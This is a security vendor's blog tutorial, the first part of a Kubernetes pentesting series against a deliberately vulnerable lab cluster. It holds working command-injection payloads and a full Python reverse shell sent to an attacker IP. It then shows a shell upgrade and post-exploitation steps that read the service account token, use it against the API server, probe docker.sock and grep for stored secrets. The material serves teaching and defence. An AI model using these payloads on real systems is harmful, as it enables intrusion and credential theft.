Kubernetes Pentesting – Part One

Kubernetes is at the heart of modern infrastructure, but with its rise comes increased attention from threat actors. At RBT Security, we explore Kubernetes through the lens of an attacker. This blog series, powered by our custom-built vulnerable cluster and Kubernetes Goat, unveils how real adversaries approach cluster security. This first post lays the foundation with Kubernetes’s core components and attack surfaces.

  • External Model: In this model, an attacker targets externally exposed services and misconfigured APIs. Imagine a scenario where a web application has a known vulnerability, such as a SQL injection flaw, or an API is left unprotected on port 8080, and the web application is vulnerable to remote command execution or SSTI (Server Side Template Injection). An attacker could exploit these weaknesses to gain unauthorized access to the system. This model also considers dashboards and public endpoints as potential entry points. For instance, an attacker might find a misconfigured admin panel allowing them to control the system or access sensitive data. (e.g., vulnerable web app, unauthenticated port 8080), dashboards, and public endpoints.
  • Assumed Breach Model: This starts with the premise that the attacker already has internal access or has obtained leaked credentials. This could happen if an employee’s credentials were stolen through a phishing attack or if an attacker has compromised a less secure system within the network. Once inside, the attacker aims to escalate privileges to gain more control and move laterally to other systems. This model highlights the importance of quickly detecting and responding to breaches to prevent further damage.
  • Compromised Container Model: This model begins with an attacker already gaining access to a pod. This could occur if an attacker has exploited a vulnerability in a containerized application or if a container has been deployed with excessive privileges. From within the pod, the attacker might attempt to abuse access to secrets or service accounts, which could lead to further compromise of the system. Additionally, they might try to escape the pod to gain access to the host system or attempt a cluster takeover to control the entire Kubernetes cluster.

Kubernetes Documentation

Each model represents a different stage in a potential cyber attack and requires specific defensive strategies. Understanding these models can help beginners grasp the importance of securing endpoints, monitoring for unusual activities, and implementing robust access controls and privilege management.

For more detailed information on Docker security and namespaces, you can refer to the Docker Documentation, which provides insights into the security features of Docker and how they interact with containers.

  • Cluster: A group of nodes managed by a control plane. The environment we will be targeting.
  • Node: A worker machine running containers. Compromise here often means full control of workloads.
  • Pod: The smallest deployable unit, usually one or more containers. Entry point for many attacks.
  • Container: The running application environment (e.g., NGINX, Redis). Often targeted via misconfigurations or exposed services.
  • Namespace: Logical groups, enabling isolation for different users or projects, such as PROD and DEV. Weak configurations can allow cross-namespace access.
  • Service: Exposes pods internally or externally. Public-facing services are frequent entry points.
  • Deployment: Manages pod replicas and updates. Abuse this for persistence or lateral movement.
  • API Server: The main cluster interface. If exposed (e.g., port 8080), attackers can take full control.
  • Scheduler: Assigns pods to nodes. Not often attacked directly but vital in resource-based attacks.
  • Controller Manager: Maintains desired state. Can be abused to automatically respawn malicious resources.
  • etcd: Cluster’s key-value store. Access = full cluster compromise, including secrets and tokens.
  • Kubelet: Runs on each node. Port 10250 often misconfigured and used for remote code execution on pods.
  • Kube Proxy: Handles networking. Useful to understand for lateral movement or pivoting.

We will use Nmap to simulate how an external attacker would begin mapping the Kubernetes attack surface by fingerprinting open services, scanning exposed ports, and identifying potential entry points, starting from an internet-exposed web application.

nmap -sS -sV --open -Pn 192.168.115.135

Let’s try a simple shell command injection test.

curl "http://192.168.115.135/encode?input=test;uname%20-a"
curl "http://192.168.115.135/encode?input=test&&whoami"
curl "http://192.168.115.135/encode?input=test|id"

Leverage the discovered command injection vulnerability to spawn a reverse shell back to our attacker machine and gain remote access into the vulnerable container. On your attacker machine (e.g., Kali or Parrot), set up a Netcat listener to catch the reverse shell and send the attack with curl.

nc -lvnp 5555
ls;/usr/local/bin/python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.115.178',5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])"
curl "http://192.168.115.135/encode?input=ls;%2Fusr%2Flocal%2Fbin%2Fpython%20-c%20%22import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%27192.168.115.178%27%2C5555%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3Bos.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bsubprocess.call%28%5B%27%2Fbin%2Fsh%27%2C%27-i%27%5D%29%22"

Once we’ve successfully obtained a reverse shell via command injection, we’re often limited by a non-interactive shell. This means no command history, no tab completion, and broken tools like nano, vim, or even sudo. To elevate this shell to a fully interactive TTY, we can perform a TTY Spawn Shell Upgrade.

This critical step in real-world adversary operations allows smoother post-exploitation and lateral movement.

Step 1 - Find the shell

cat /etc/shells
Example output:


/bin/sh  
/bin/ash

Now that we know sh or ash is available, we can use Python to spawn an interactive shell.

Step 2 – Spawn TTY with Python
If python3 or python is available:

python3 -c 'import pty; pty.spawn("/bin/bash")'
Or:
python -c 'import pty; pty.spawn("/bin/sh")'

This command leverages the pty module to emulate a terminal, making the shell more feature-rich.

Step 3 – Set Terminal Type
After gaining the upgraded shell, export the terminal type:

export TERM=xterm
This allows you to use terminal-friendly commands like clear, and improves overall usability.

Step 4 – Background the Shell and Reconfigure
Press:

Ctrl + Z

Back in your own terminal (on Kali or attacker machine):

stty raw -echo; fg

Step 5 - Then hit Enter twice. This finalizes the interactive terminal mode and lets you run tools like linpeas, sudo, or nano without issues.

Once the reverse shell is established, we move into a container post-exploitation phase. This step mimics how real-world attackers gather critical information about the environment they’ve compromised. This information helps them determine their privilege level, discover misconfigurations, and identify paths for lateral movement or container escape.

We’ll begin by fingerprinting the current environment.

First, let’s confirm who and where we are:

whoami
id
hostname
pwd

Then, check whether we are inside a container (most likely if we’re in Kubernetes):


cat /proc/1/cgroup

If we see /docker/ or /kubepods/, you’re inside a container.

env

As we can see, we got a lot of information about the Kubernetes cluster. One of the most important information is to find the One of the lines that we should find are KUBERNETES_PORT=tcp:, KUBERNETES_PORT_443_TCP_PORT= and WEB_LB_SERVICE_HOST=

KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
WEB_LB_SERVICE_HOST=10.101.107.56

We can use the command below to identify where Kubernetes-related volumes are mounted on the system quickly. This command filters the list of all mounted filesystems to show only those containing the string “kubernetes”, which is particularly useful for debugging and verifying Kubernetes storage configurations.

mount |grep 'kubernetes'

The below output indicates that there is a tmpfs filesystem mounted as the path shown. This is a common mount point for Kubernetes service account tokens, which are used for authentication and authorization within the Kubernetes cluster.

which kubectl
which curl
which wget

We will use the previous information collected in the previous steps to obtain the token.

ls -lct /var/run/secrets/kubernetes.io/serviceaccount/

cat /var/run/secrets/kubernetes.io/serviceaccount/token

Then, test access to the Kubernetes API server. We can try to access the Kubernetes API directly without authentication or TLS verification, and the API server will reject the request.

We will have to use the Bearer Token From the Pod (If It Exists), Most containers running inside Kubernetes automatically mount a service account token.

wget --no-check-certificate https://10.96.0.1/api/v1/namespaces/default/pods

curl -sSk -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
https://10.96.0.1/api/v1/namespaces/default/pods

wget --no-check-certificate \
     --header="Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
     https://10.96.0.1/api/v1/namespaces/default/pods

We managed to list the names of the PODS in the default namespace.

Some containers might run with extra Linux kernel capabilities, especially if misconfigured

getcap -r / 2>/dev/null

We’re looking for high-privilege caps like:

  • cap_sys_admin
  • cap_sys_ptrace
  • cap_dac_override
  • cap_sys_module

These can be abused for container escapes. In this case, we got no results.

Look for suspiciously mounted volumes, especially host paths. Also, check if the Docker socket is exposed (critical!), If we find docker.sock. We might be able to spawn a privileged container on the host.

mount | grep -E 'host|docker|root|proc'

curl --unix-socket /var/run/docker.sock http://localhost/containers/json

ls -la /var/run/docker.sock

Search for hardcoded secrets or credentials

find / -type f -name "*config*" 2>/dev/null
grep -i 'password\|token\|secret' /etc/* 2>/dev/null

Also review .bash_history and .ssh/ if accessible:

cat ~/.bash_history
ls ~/.ssh/

In this first part of our Kubernetes Attack Series, we demonstrated how a real-world attacker could approach your cluster from an external perspective. Starting with reconnaissance using tools like nmap, we identified open services, discovered a vulnerable web application, and exploited a command injection vulnerability to gain remote code execution.

From there, we escalated access with a reverse shell, upgraded it to a fully interactive TTY session, and moved into post-exploitation enumeration. We explored the container environment, gathered valuable metadata, identified misconfigurations, and validated access to Kubernetes Service Account tokens, a critical foothold for lateral movement and cluster compromise.

This is where most defenders fall short, external exposure leads to internal compromise.

By replicating real adversary behavior, we gain technical insights and strategic clarity into where your Kubernetes defenses must be hardened.

In Part 2, we’ll move vertically and escape the container, moving to the system host.

  • Engaging with containers within the cluster’s pods.
  • Abusing the excessive privileges of Docker.sock file.
  • Abusing privileged flag and writing to kernel space.

Share the Post:

Table of Contents

Subscribe To Our Blog

Light